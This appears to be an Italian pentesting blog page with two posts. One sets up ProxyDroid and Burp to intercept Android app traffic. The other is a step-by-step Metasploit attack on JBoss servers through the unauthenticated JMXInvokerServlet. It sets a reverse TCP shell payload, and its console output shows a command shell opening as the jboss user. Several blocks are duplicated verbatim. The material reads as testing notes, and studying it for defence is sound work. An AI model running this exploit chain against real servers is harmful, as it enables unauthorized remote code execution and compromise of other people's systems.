30/05/13
26/05/13
ProxyDroid + Burp: Analizzare il traffico generato dalle applicazioni android
Solo per "rooted phones":
1) Collegare PC e cellulare alla stessa LAN
2) Sul cellulare: scaricare ProxyDroid dal Play Store:
https://play.google.com/store/apps/details?id=org.proxydroid&hl=it
3) Sul PC: configurare Burp ( o il WebProxy che preferite ) in modo da accettare connessioni sulla porta XXXX di una delle interfacce collegate alla LAN
4) Sul cellulare: configurare ProxyDroid in modo da utilizzare il proxy configurato sul PC
Sarà ora possibile intercettare e analizzare il traffico generato dalle App del cellulare
Un'alternativa è utilizzare wireshark (https://play.google.com/store/apps/details?id=lv.n3o.shark&feature=search_result#?t=W251bGwsMSwxLDEsImx2Lm4zby5zaGFyayJd).
1) Collegare PC e cellulare alla stessa LAN
2) Sul cellulare: scaricare ProxyDroid dal Play Store:
https://play.google.com/store/apps/details?id=org.proxydroid&hl=it
3) Sul PC: configurare Burp ( o il WebProxy che preferite ) in modo da accettare connessioni sulla porta XXXX di una delle interfacce collegate alla LAN
4) Sul cellulare: configurare ProxyDroid in modo da utilizzare il proxy configurato sul PC
Sarà ora possibile intercettare e analizzare il traffico generato dalle App del cellulare
Un'alternativa è utilizzare wireshark (https://play.google.com/store/apps/details?id=lv.n3o.shark&feature=search_result#?t=W251bGwsMSwxLDEsImx2Lm4zby5zaGFyayJd).
25/05/13
22/05/13
JBOSS 4.x 5.x hacking through metasploit (/invoker/JMXInvokerServlet)
1) Scansione di JBoss Server usando il modulo "auxiliary/scanner/http/jboss_vulnscan" di metasploit
2) Verificare le vulnerabilita'.
Nel nostro caso e' stata individuata la seguente:
[+] X.X.X.X:80 /invoker/JMXInvokerServlet does not require authentication (200)
3) utilizzare il modulo "exploit/multi/http/jboss_invoke_deploy" di metasploit e "settando" il PAYLOAD nel seguente modo:
set PAYLOAD linux/x86/shell_reverse_tcp
Se l'exploit andra' a buon fine, si otterra' il seguente output:
msf exploit(jboss_invoke_deploy) > exploit
[*] Started reverse handler on x.x.x.x:4444
[*] Using manually select target: "Linux x86"
[*] Deploying stager
[*] Calling stager: /rmJOKJxnoJxtAj/UTZbLQZUwQFgmT.jsp
[-] http request failed to /rmJOKJxnoJxtAj/UTZbLQZUwQFgmT.jsp [404]
[*] Uploading payload through stager
[*] Calling payload: /bZJOCbRRuNR/BgTxdFdE.jsp
[*] Removing payload through stager
[*] Removing stager
[*] Command shell session 1 opened (x.x.x.x:4444 -> y.y.y.y:49052) at 2013-05-22 14:53:29 +0100
2) Verificare le vulnerabilita'.
Nel nostro caso e' stata individuata la seguente:
[+] X.X.X.X:80 /invoker/JMXInvokerServlet does not require authentication (200)
3) utilizzare il modulo "exploit/multi/http/jboss_invoke_deploy" di metasploit e "settando" il PAYLOAD nel seguente modo:
set PAYLOAD linux/x86/shell_reverse_tcp
Se l'exploit andra' a buon fine, si otterra' il seguente output:
msf exploit(jboss_invoke_deploy) > exploit
[*] Started reverse handler on x.x.x.x:4444
[*] Using manually select target: "Linux x86"
[*] Deploying stager
[*] Calling stager: /rmJOKJxnoJxtAj/UTZbLQZUwQFgmT.jsp
[-] http request failed to /rmJOKJxnoJxtAj/UTZbLQZUwQFgmT.jsp [404]
[*] Uploading payload through stager
[*] Calling payload: /bZJOCbRRuNR/BgTxdFdE.jsp
[*] Removing payload through stager
[*] Removing stager
[*] Command shell session 1 opened (x.x.x.x:4444 -> y.y.y.y:49052) at 2013-05-22 14:53:29 +0100
whoami
jboss
ALTERNATIVA:
provare ad utilizzare il tool seguente
http://www.hsc.fr/ressources/outils/jisandwis/download/README-jis
ALTERNATIVA:
provare ad utilizzare il tool seguente
http://www.hsc.fr/ressources/outils/jisandwis/download/README-jis
Iscriviti a:
Post (Atom)